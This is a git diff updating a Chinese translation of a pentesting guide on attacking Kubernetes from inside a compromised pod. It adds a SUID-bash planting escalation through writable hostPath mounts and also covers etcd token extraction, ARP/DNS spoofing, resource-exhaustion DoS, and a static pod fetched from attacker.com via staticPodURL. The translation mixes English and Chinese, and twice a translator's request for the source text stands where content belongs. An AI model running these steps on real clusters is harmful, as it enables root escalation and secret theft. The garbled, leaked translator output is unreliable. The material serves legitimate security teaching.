diff --git a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
index 8356d85a2..20453a175 100644
--- a/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
+++ b/src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
@@ -1,60 +1,104 @@
-# 从 Pod 内部攻击 Kubernetes
+# Attacking Kubernetes from inside a Pod
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **Pod 逃逸**
+## **Pod Breakout**
 
-**如果你足够幸运，你可能能够逃离到节点：**
+**If you are lucky enough you may be able to escape from it to the node:**
 
 ![](https://sickrov.github.io/media/Screenshot-161.jpg)
 
-### 从 Pod 逃逸
+### 从 pod 逃逸
 
-为了尝试从 pods 逃逸，你可能需要首先 **提升权限**，一些实现的方法：
+为了尝试从 pods 逃逸，你可能需要先 **escalate privileges**，下面是一些实现的方法：
 
 {{#ref}}
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
 {{#endref}}
 
-你可以查看这些 **docker 逃逸尝试**，以从你已攻陷的 pod 中逃逸：
+你可以查看这些 **docker breakouts to try to escape**，用于从你已攻陷的 pod 中逃逸：
 
 {{#ref}}
 https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
 {{#endref}}
 
-### 滥用 Kubernetes 权限
+### 滥用可写的 hostPath/bind mounts (container -> host root via SUID planting)
 
-如 **kubernetes 枚举** 部分所述：
+如果一个已被攻陷的 pod/container 拥有一个可写的 volume，并且该 volume 直接映射到主机文件系统（Kubernetes hostPath 或 Docker bind mount），且你能在 container 内成为 root，你可以利用该挂载在主机上创建一个 setuid-root 二进制文件，然后在主机上执行它以获取 root。
+
+关键条件：
+- 挂载的卷从 container 内是可写的（readOnly: false 且文件系统权限允许写入）。
+- 支撑该挂载的主机文件系统没有以 nosuid 选项挂载。
+- 你有某种方式在主机上执行被植入的二进制文件（例如，对主机有单独的 SSH/RCE，主机上的某个用户可以执行它，或其它会从该路径运行二进制的向量）。
+
+如何识别可写的 hostPath/bind mounts：
+- 使用 kubectl 检查 hostPath volumes: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
+- 从 container 内列出 mounts，查找 host-path 挂载并测试可写性：
+```bash
+# Inside the compromised container
+mount | column -t
+cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
+findmnt -T / 2>/dev/null | sed -n '1,200p'
+# Test if a specific mount path is writable
+TEST_DIR=/var/www/html/some-mount  # replace with your suspected mount path
+[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
+# Quick practical test
+printf "ping\n" > "$TEST_DIR/.w"
+```
+在容器中植入 setuid root binary：
+```bash
+# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
+MOUNT="/var/www/html/survey"   # path inside the container that maps to a host directory
+cp /bin/bash "$MOUNT/suidbash"
+chmod 6777 "$MOUNT/suidbash"
+ls -l "$MOUNT/suidbash"
+# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
+```
+在宿主机上执行以获取 root：
+```bash
+# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
+# Example host path: /opt/limesurvey/suidbash
+ls -l /opt/limesurvey/suidbash
+/opt/limesurvey/suidbash -p   # -p preserves effective UID 0 in bash
+```
+Notes and troubleshooting:
+- 如果主机挂载具有 nosuid，setuid 位将被忽略。检查主机上的挂载选项（cat /proc/mounts | grep <mountpoint>）并查找 nosuid。
+- 如果你无法获取主机上的执行路径，类似的可写挂载点可以被滥用来在主机上写入其他 persistence/priv-esc artifacts，前提是映射的目录是安全关键的（例如，如果挂载映射到 /root/.ssh，则添加 a root SSH key；如果映射到 /etc，则丢弃 cron/systemd 单元；替换主机将执行的 PATH 中的 root 所有的二进制，等）。可行性完全取决于被挂载的路径。
+- 该技术同样适用于普通 Docker bind 挂载；在 Kubernetes 中通常是 hostPath 卷（readOnly: false）或作用域错误的 subPath。
+
+### 滥用 Kubernetes 特权
+
+如在 **kubernetes enumeration** 一节中所解释：
 
 {{#ref}}
 kubernetes-enumeration.md
 {{#endref}}
 
-通常，pods 是使用 **服务账户令牌** 运行的。这个服务账户可能附带一些 **权限**，你可以 **滥用** 这些权限 **移动** 到其他 pods，甚至 **逃逸** 到集群内配置的节点。查看如何操作：
+通常 pods 内会包含一个 **service account token**。该 service account 可能附带一些 **privileges attached to it**，你可以 **abuse** 它们以 **move** 到其他 pods，甚至 **escape** 到集群中配置的节点。查看方法：
 
 {{#ref}}
 abusing-roles-clusterroles-in-kubernetes/
 {{#endref}}
 
-### 滥用云权限
+### 滥用云特权
 
-如果 pod 在 **云环境** 中运行，你可能能够从 **元数据端点泄露一个令牌** 并使用它提升权限。
+如果 pod 在 **云环境** 中运行，你可能能够 l**eak a token from the metadata endpoint** 并使用它提升特权。
 
-## 搜索易受攻击的网络服务
+## Search vulnerable network services
 
-由于你在 Kubernetes 环境中，如果你无法通过滥用当前 pods 权限来提升权限，并且无法从容器中逃逸，你应该 **搜索潜在的易受攻击服务。**
+既然你在 Kubernetes 环境内部，如果无法通过滥用当前 pods 的特权来提升权限，且无法从容器中 escape，你应当 **search potential vulnerable services.**
 
-### 服务
+### Services
 
-**为此，你可以尝试获取 Kubernetes 环境中的所有服务：**
+**For this purpose, you can try to get all the services of the kubernetes environment:**
 ```
 kubectl get svc --all-namespaces
 ```
-默认情况下，Kubernetes 使用扁平网络架构，这意味着**集群内的任何 pod/service 都可以与其他 pod/service 通信**。集群内的**命名空间**默认**没有任何网络安全限制**。命名空间中的任何人都可以与其他命名空间通信。
+默认情况下，Kubernetes 使用扁平的网络架构，这意味着 **集群内的任何 pod/service 都可以相互通信**。集群中的 **namespaces** 默认 **没有任何网络安全限制**。处在某个 namespace 的任何人都可以与其他 namespaces 通信。
 
 ### 扫描
 
-以下 Bash 脚本（取自 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)）将安装并扫描 Kubernetes 集群的 IP 范围：
+下面的 Bash 脚本（摘自 [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)）将安装并扫描 kubernetes 集群的 IP 范围：
 ```bash
 sudo apt-get update
 sudo apt-get install nmap
@@ -73,68 +117,68 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
 }
 nmap-kube-discover
 ```
-查看以下页面以了解如何**攻击Kubernetes特定服务**以**破坏其他pod/整个环境**：
+查看以下页面，了解你如何可以 **attack Kubernetes specific services** 以 **compromise other pods/all the environment**：
 
 {{#ref}}
 pentesting-kubernetes-services/
 {{#endref}}
 
-### 嗅探
+### Sniffing
 
-如果**被攻陷的pod正在运行某些敏感服务**，而其他pod需要进行身份验证，您可能能够通过**嗅探本地通信**来获取从其他pod发送的凭据。
+如果 **compromised pod is running some sensitive service**，且其他 pods 需要进行认证，你可能能够通过 **sniffing local communications** 获取其他 pods 发送的凭证。
 
-## 网络欺骗
+## Network Spoofing
 
-默认情况下，像**ARP欺骗**（以及因此产生的**DNS欺骗**）的技术在Kubernetes网络中有效。因此，在pod内部，如果您具有**NET_RAW能力**（默认情况下存在），您将能够发送自定义构造的网络数据包，并通过ARP欺骗对同一节点上运行的所有pod执行**中间人攻击**。\
-此外，如果**恶意pod**与DNS服务器在**同一节点上运行**，您将能够对集群中的所有pod执行**DNS欺骗攻击**。
+默认情况下，像 **ARP spoofing**（因此也能实现 **DNS Spoofing**）这类技术在 kubernetes 网络中是可行的。然后，在 pod 内，如果你拥有 **NET_RAW capability**（默认存在），你将能够发送自定义网络数据包并对运行在同一 node 的所有 pods 发起 **MitM attacks via ARP Spoofing to all the pods running in the same node.**\  
+此外，如果 **malicious pod** 运行在与 DNS Server **same node as the DNS Server**，你将能够对集群中所有 pods 发起 **DNS Spoofing attack to all the pods in cluster**。
 
 {{#ref}}
 kubernetes-network-attacks.md
 {{#endref}}
 
-## 节点DoS
+## Node DoS
 
-Kubernetes清单中没有资源规范，并且**未应用限制**范围给容器。作为攻击者，我们可以**消耗pod/部署运行的所有资源**，使其他资源匮乏，从而导致环境的DoS。
+Kubernetes manifests 中通常没有对资源进行规范，也没有为容器应用 **not applied limit** 范围。作为攻击者，我们可以 **consume all the resources where the pod/deployment running**，耗尽其他资源，从而导致环境的 DoS。
 
-这可以通过工具如[**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng)来实现：
+这可以使用诸如 [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
 ```
 stress-ng --vm 2 --vm-bytes 2G --timeout 30s
 ```
-您可以看到在运行 `stress-ng` 期间和之后的区别。
+你可以看到在运行 `stress-ng` 时与之后的区别
 ```bash
 kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
 ```
-## Node Post-Exploitation
+## 节点 Post-Exploitation
 
-如果你成功地**逃离了容器**，你会在节点中发现一些有趣的东西：
+If you managed to **escape from the container** there are some interesting things you will find in the node:
 
-- **容器运行时**进程（Docker）
-- 节点中运行的更多**pods/containers**，你可以像这样利用它们（更多令牌）
-- 整个**文件系统**和**操作系统**一般
-- 正在监听的**Kube-Proxy**服务
-- 正在监听的**Kubelet**服务。检查配置文件：
-- 目录：`/var/lib/kubelet/`
+- **Container Runtime** 进程 (Docker)
+- 节点上运行着更多 **pods/containers**，你可以像这样滥用它们（更多令牌）
+- 整个 **文件系统** 和 **操作系统**
+- **Kube-Proxy** 服务正在监听
+- **Kubelet** 服务正在监听。检查配置文件：
+- 目录: `/var/lib/kubelet/`
 - `/var/lib/kubelet/kubeconfig`
 - `/var/lib/kubelet/kubelet.conf`
 - `/var/lib/kubelet/config.yaml`
 - `/var/lib/kubelet/kubeadm-flags.env`
 - `/etc/kubernetes/kubelet-kubeconfig`
 - `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
-- 其他**kubernetes常见文件**：
+- 其他 **kubernetes 常见文件**:
 - `$HOME/.kube/config` - **用户配置**
 - `/etc/kubernetes/kubelet.conf`- **常规配置**
 - `/etc/kubernetes/bootstrap-kubelet.conf` - **引导配置**
-- `/etc/kubernetes/manifests/etcd.yaml` - **etcd配置**
-- `/etc/kubernetes/pki` - **Kubernetes密钥**
+- `/etc/kubernetes/manifests/etcd.yaml` - **etcd 配置**
+- `/etc/kubernetes/pki` - **Kubernetes 密钥**
 
 ### 查找节点 kubeconfig
 
-如果你在之前提到的路径中找不到 kubeconfig 文件，**检查 kubelet 进程的 `--kubeconfig` 参数**：
+如果你无法在之前列出的路径中找到 kubeconfig 文件，**检查 kubelet 进程的 `--kubeconfig` 参数**：
 ```
 ps -ef | grep kubelet
 root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
 ```
-### 窃取秘密
+### 窃取机密
 ```bash
 # Check Kubelet privileges
 kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -155,110 +199,108 @@ echo ""
 fi
 done
 ```
-脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 将自动 **获取其他 pod 的令牌并检查它们是否具有您正在寻找的权限**（而不是您逐个查找）：
+脚本 [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) 会自动**获取其他 pods 的 tokens 并检查它们是否具有你要找的权限**（而不是你逐个去查）:
 ```bash
 ./can-they.sh -i "--list -n default"
 ./can-they.sh -i "list secrets -n kube-system"// Some code
 ```
-### 特权 DaemonSets
+### Privileged DaemonSets
 
-DaemonSet 是一个 **pod**，将在 **集群的所有节点** 中 **运行**。因此，如果一个 DaemonSet 配置了 **特权服务账户**，在 **所有节点** 中你都能找到该 **特权服务账户** 的 **token**，你可以利用它。
+DaemonSet 是一个 **pod**，会在 **整个集群的所有节点** 上 **运行**。因此，如果 DaemonSet 配置了一个 **privileged service account**，在 **所有节点** 上你都可以找到该 **token**，也就是该 **privileged service account** 的令牌，并可滥用它。
 
-这个漏洞与前一节的相同，但你现在不再依赖运气。
+### Pivot to Cloud
 
-### 转向云
-
-如果集群由云服务管理，通常 **节点对元数据** 端点的访问权限与 Pod 不同。因此，尝试从 **节点访问元数据端点**（或从 hostNetwork 设置为 True 的 pod）：
+如果集群由云服务管理，通常 **Node 对 metadata endpoint 的访问会与 Pod 不同**。因此，尝试 **从 Node 访问 metadata endpoint**（或从 hostNetwork 为 True 的 pod）：
 
 {{#ref}}
 kubernetes-pivoting-to-clouds.md
 {{#endref}}
 
-### 偷取 etcd
+### 窃取 etcd
 
-如果你可以指定将运行容器的节点的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)，在控制平面节点内获取一个 shell 并获取 **etcd 数据库**：
+如果你可以指定将运行容器的 Node 的 [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node)，进入 control-plane node 获取 shell 并拿到 **etcd database**：
 ```
 kubectl get nodes
 NAME                STATUS   ROLES    AGE   VERSION
 k8s-control-plane   Ready    master   93d   v1.19.1
 k8s-worker          Ready    <none>   93d   v1.19.1
 ```
-control-plane 节点具有 **role master**，在 **云管理的集群中，您将无法在其中运行任何东西**。
+control-plane 节点具有 **role master**，并且在 **云托管集群中你将无法在它们上运行任何东西**。
 
-#### 从 etcd 读取秘密 1
+#### 从 etcd 读取 secrets 1
 
-如果您可以使用 pod 规格中的 `nodeName` 选择器在控制平面节点上运行您的 pod，您可能会轻松访问 `etcd` 数据库，该数据库包含集群的所有配置，包括所有秘密。
+如果你可以在 pod spec 中使用 `nodeName` 选择器在 control-plane 节点上运行你的 pod，你可能能轻松访问 `etcd` 数据库，该数据库包含集群的所有配置，包括所有 secrets。
 
-以下是从 `etcd` 中抓取秘密的快速而简单的方法，如果它在您所在的控制平面节点上运行。如果您想要一个更优雅的解决方案，可以启动一个带有 `etcd` 客户端工具 `etcdctl` 的 pod，并使用控制平面节点的凭据连接到运行中的 etcd，请查看 @mauilion 的 [这个示例清单](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml)。
+下面是在你所处的 control-plane 节点上运行 `etcd` 时，快速且粗糙地从 `etcd` 获取 secrets 的方法。如果你想要更优雅的解决方案（通过启动一个包含 `etcd` 客户端工具 `etcdctl` 的 pod，并使用 control-plane 节点的凭据连接到 etcd 无论它运行在哪里），请查看 [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) 来自 @mauilion。
 
-**检查 `etcd` 是否在控制平面节点上运行，并查看数据库的位置（这是在 `kubeadm` 创建的集群上）**
+**检查 `etcd` 是否在 control-plane 节点上运行并查看数据库所在位置（这是在使用 `kubeadm` 创建的集群上）**
 ```
 root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
 ```
-请提供需要翻译的具体内容。
+请粘贴要翻译的文件内容（src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md）。收到后我会按你给的规则将相关英文文本翻译成中文，保留所有 markdown/HTML 语法、标签、路径、代码和不应翻译的术语。
 ```bash
 data-dir=/var/lib/etcd
 ```
-**查看etcd数据库中的数据：**
+**在 etcd 数据库中查看数据：**
 ```bash
 strings /var/lib/etcd/member/snap/db | less
 ```
-**从数据库中提取令牌并显示服务帐户名称**
+**从数据库提取令牌并显示服务账户名称**
 ```bash
 db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
 ```
-**相同的命令，但一些 grep 只返回 kube-system 命名空间中的默认令牌**
+**相同的命令，但使用一些 greps 来仅返回 kube-system namespace 中的 default token**
 ```bash
 db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
 ```
-请提供需要翻译的内容。
+请提供要翻译的文件内容（或粘贴 src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md 的文本），我会在保留所有 Markdown/HTML 标签、路径与未翻译术语的前提下翻译为中文。
 ```
 1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
 ```
-#### 从 etcd 读取秘密 2 [从这里](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
+#### 从 etcd 读取 secrets 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
 
-1. 创建 **`etcd`** 数据库的快照。查看 [**这个脚本**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 获取更多信息。
-2. 以你喜欢的方式将 **`etcd`** 快照传输出节点。
-3. 解压数据库：
+1. 为 **`etcd`** 数据库创建快照。查看 [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) 以获取更多信息。
+2. 以你喜欢的方式将 **`etcd`** 快照从节点中传输出去。
+3. 解包数据库:
 ```bash
 mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
 ```
-4. 在您的本地机器上启动 **`etcd`** 并使其使用被盗的快照：
+4. 在本地机器上启动 **`etcd`** 并让它使用被窃取的 snapshot:
 ```bash
 etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
 
 ```
-5. 列出所有的秘密：
+5. 列出所有 secrets:
 ```bash
 etcdctl get "" --prefix --keys-only | grep secret
 ```
-6. 获取机密：
+6. 获取 secfrets:
 ```bash
 etcdctl get /registry/secrets/default/my-secret
 ```
-### 静态/镜像 Pods 持久性
+### Static/Mirrored Pods 持久化
 
-静态 Pods 由特定节点上的 kubelet 守护进程直接管理，而不被 API 服务器观察。与由控制平面管理的 Pods（例如，Deployment）不同；相反，**kubelet 监视每个静态 Pod**（并在其失败时重启它）。
+_Static Pods_ 由特定 node 上的 kubelet daemon 直接管理，API server 不会对它们进行观察。与由 control plane 管理的 Pods（例如，Deployment）不同；**kubelet 会监视每个 static Pod**（并在其失败时重启）。
 
-因此，静态 Pods 始终**绑定到特定节点上的一个 Kubelet**。
+因此，static Pods 总是**绑定到特定 node 上的某个 Kubelet**。
 
-**kubelet 会自动尝试在 Kubernetes API 服务器上为每个静态 Pod 创建一个镜像 Pod**。这意味着在节点上运行的 Pods 在 API 服务器上是可见的，但无法从那里进行控制。Pod 名称将以节点主机名为后缀，并带有前导连字符。
+**kubelet 会自动尝试在 Kubernetes API server 上为每个 static Pod 创建一个 mirror Pod**。这意味着运行在 node 上的 Pods 在 API server 上是可见的，但不能从那里进行控制。Pod 名称会以 node 主机名作为后缀，并带有前导连字符。
 
 > [!CAUTION]
-> 静态 Pod 的 **`spec` 不能引用其他 API 对象**（例如，ServiceAccount、ConfigMap、Secret 等）。因此 **您无法利用此行为在当前节点上启动一个具有任意 serviceAccount 的 pod 来妥协集群**。但您可以利用此功能在不同的命名空间中运行 Pods（如果出于某种原因这有用）。
+> The **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
 
-如果您在节点主机内部，可以让它在内部创建一个**静态 pod**。这非常有用，因为它可能允许您在不同的命名空间中**创建一个 pod**，例如 **kube-system**。
+如果你在 node 主机内，你可以让它在自身创建一个 **static pod**。这非常有用，因为它可能允许你 **在不同的 namespace 创建一个 pod**，例如 **kube-system**。
 
-为了创建一个静态 pod，[**文档非常有帮助**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。您基本上需要两件事：
+要创建 static pod， [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/)。基本上你需要两件事：
 
-- 在 **kubelet 服务**中配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**，或在 **kubelet 配置**中（[**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)），并重启服务
-- 在 **`/etc/kubernetes/manifests`** 中创建 **pod 定义**的定义
+- 在 **kubelet service** 中，或在 **kubelet config**（[**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)）里配置参数 **`--pod-manifest-path=/etc/kubernetes/manifests`**，然后重启服务
+- 在 **`/etc/kubernetes/manifests`** 中创建 **pod definition**
 
 **另一种更隐蔽的方法是：**
 
-- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**，并设置类似 `staticPodURL: http://attacker.com:8765/pod.yaml` 的内容。这将使 kubelet 进程创建一个 **静态 pod**，从指定的 URL 获取 **配置**。
+- 修改 **kubelet** 配置文件中的参数 **`staticPodURL`**，设置为类似 `staticPodURL: http://attacker.com:8765/pod.yaml`。这会使 kubelet 进程创建一个 **static pod**，并从指定的 URL 获取 **configuration**。
 
-**示例**的 **pod** 配置，以在 **kube-system** 中创建一个特权 pod，取自 [**这里**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/)：
+**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
 ```yaml
 apiVersion: v1
 kind: Pod
@@ -284,10 +326,10 @@ hostPath:
 path: /
 type: Directory
 ```
-### 删除 Pods + 不可调度的节点
+### 删除 pods + 使 nodes 无法调度
 
-如果攻击者**已攻陷一个节点**，并且他可以**删除其他节点上的 Pods**，并且**使其他节点无法执行 Pods**，那么这些 Pods 将在被攻陷的节点上重新运行，他将能够**窃取运行在其中的令牌**。\
-有关[**更多信息，请访问此链接**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes)。
+如果攻击者已经**攻陷了一个 node**，并且他可以从其他 node **删除 pods** 并**使其他 node 无法运行 pods**，这些 pods 会在被攻陷的 node 上重新运行，攻击者就能**窃取在其中运行的 tokens**。  
+有关更多信息请参见 [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
 
 ## 自动化工具
 
@@ -353,4 +395,13 @@ Off-Menu         +
 ```
 - [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
 
+## 参考资料
+
+- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
+- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
+- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
+- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
+- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
+- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
+
 {{#include ../../banners/hacktricks-training.md}}